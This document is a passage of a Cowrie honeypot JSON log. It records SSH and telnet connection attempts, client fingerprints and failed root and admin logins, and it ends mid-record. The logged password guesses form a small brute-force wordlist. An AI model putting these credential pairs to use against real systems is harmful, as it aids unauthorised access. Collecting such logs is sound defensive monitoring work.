{"eventid":"cowrie.session.closed","duration":38.08222484588623,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:48.278292Z","src_ip":"192.119.13.58","session":"5352a7bdcdc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48190,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfd5d19ecae7","protocol":"telnet","message":"New connection: 192.119.13.58:48190 (10.17.0.5:23) [session: cfd5d19ecae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:51.678559Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":59352,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e637b6a795c","protocol":"ssh","message":"New connection: 102.88.137.145:59352 (10.17.0.5:22) [session: 2e637b6a795c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:59.298069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:59.302568Z","src_ip":"102.88.137.145","session":"2e637b6a795c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:59.481773Z","src_ip":"102.88.137.145","session":"2e637b6a795c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2081","message":"login attempt [root/2081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:00.233257Z","src_ip":"102.88.137.145","session":"2e637b6a795c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:01.419056Z","src_ip":"102.88.137.145","session":"2e637b6a795c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"349d1bba9f02","protocol":"telnet","message":"New connection: 192.119.13.58:59670 (10.17.0.5:23) [session: 349d1bba9f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:02.388373Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":53578,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe89c5eb3f0","protocol":"ssh","message":"New connection: 185.236.22.41:53578 (10.17.0.5:22) [session: abe89c5eb3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:13.773160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:13.778219Z","src_ip":"185.236.22.41","session":"abe89c5eb3f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:13.901256Z","src_ip":"185.236.22.41","session":"abe89c5eb3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321z","message":"login attempt [root/987654321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:14.393308Z","src_ip":"185.236.22.41","session":"abe89c5eb3f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":54970,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ffe42f79fe","protocol":"ssh","message":"New connection: 43.156.39.221:54970 (10.17.0.5:22) [session: a1ffe42f79fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:15.197720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:15.206464Z","src_ip":"43.156.39.221","session":"a1ffe42f79fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:15.444316Z","src_ip":"43.156.39.221","session":"a1ffe42f79fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:15.537416Z","src_ip":"185.236.22.41","session":"abe89c5eb3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hr@123","message":"login attempt [root/hr@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:16.426077Z","src_ip":"43.156.39.221","session":"a1ffe42f79fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:17.667505Z","src_ip":"43.156.39.221","session":"a1ffe42f79fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51390838623047,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:28.192366Z","src_ip":"192.119.13.58","session":"cfd5d19ecae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":21851,"dst_ip":"159.203.135.109","dst_port":22,"session":"f46e90c6b51c","protocol":"ssh","message":"New connection: 2.57.121.112:21851 (159.203.135.109:22) [session: f46e90c6b51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:30.870881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:30.875581Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:30.981569Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280583","message":"login attempt [admin/280583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:31.479323Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280577","message":"login attempt [admin/280577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:32.592206Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":35706,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ef50f01dde","protocol":"ssh","message":"New connection: 103.82.20.28:35706 (159.203.135.109:22) [session: 43ef50f01dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:33.142441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:33.147419Z","src_ip":"103.82.20.28","session":"43ef50f01dde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:33.407576Z","src_ip":"103.82.20.28","session":"43ef50f01dde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280485","message":"login attempt [admin/280485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:33.701160Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123456","message":"login attempt [root/zxc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:34.188073Z","src_ip":"103.82.20.28","session":"43ef50f01dde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28041974","message":"login attempt [admin/28041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:34.811430Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280281","message":"login attempt [admin/280281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:35.920959Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:36.065569Z","src_ip":"103.82.20.28","session":"43ef50f01dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:36.977307Z","src_ip":"46.19.67.181","session":"54d8fe473a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:37.029838Z","src_ip":"2.57.121.112","session":"f46e90c6b51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.1504340171814,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:47.538696Z","src_ip":"192.119.13.58","session":"349d1bba9f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"e568dda17b86","protocol":"ssh","message":"New connection: 89.110.87.138:47398 (10.17.0.5:22) [session: e568dda17b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:49.965431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:49.970242Z","src_ip":"89.110.87.138","session":"e568dda17b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:50.088779Z","src_ip":"89.110.87.138","session":"e568dda17b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123456!","message":"login attempt [root/abcd123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:50.597085Z","src_ip":"89.110.87.138","session":"e568dda17b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:18:51.719334Z","src_ip":"89.110.87.138","session":"e568dda17b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50990,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42a493c89dc","protocol":"telnet","message":"New connection: 192.119.13.58:50990 (10.17.0.5:23) [session: f42a493c89dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:19.449166Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":56038,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ea67039a2a9","protocol":"ssh","message":"New connection: 102.88.137.145:56038 (10.17.0.5:22) [session: 5ea67039a2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:24.887846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:24.899092Z","src_ip":"102.88.137.145","session":"5ea67039a2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:25.085397Z","src_ip":"102.88.137.145","session":"5ea67039a2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cactiuser","message":"login attempt [root/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:25.861804Z","src_ip":"102.88.137.145","session":"5ea67039a2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:27.051611Z","src_ip":"102.88.137.145","session":"5ea67039a2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":45484,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ca1e2399aa","protocol":"ssh","message":"New connection: 43.156.39.221:45484 (10.17.0.5:22) [session: b0ca1e2399aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:35.352520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:35.357637Z","src_ip":"43.156.39.221","session":"b0ca1e2399aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384"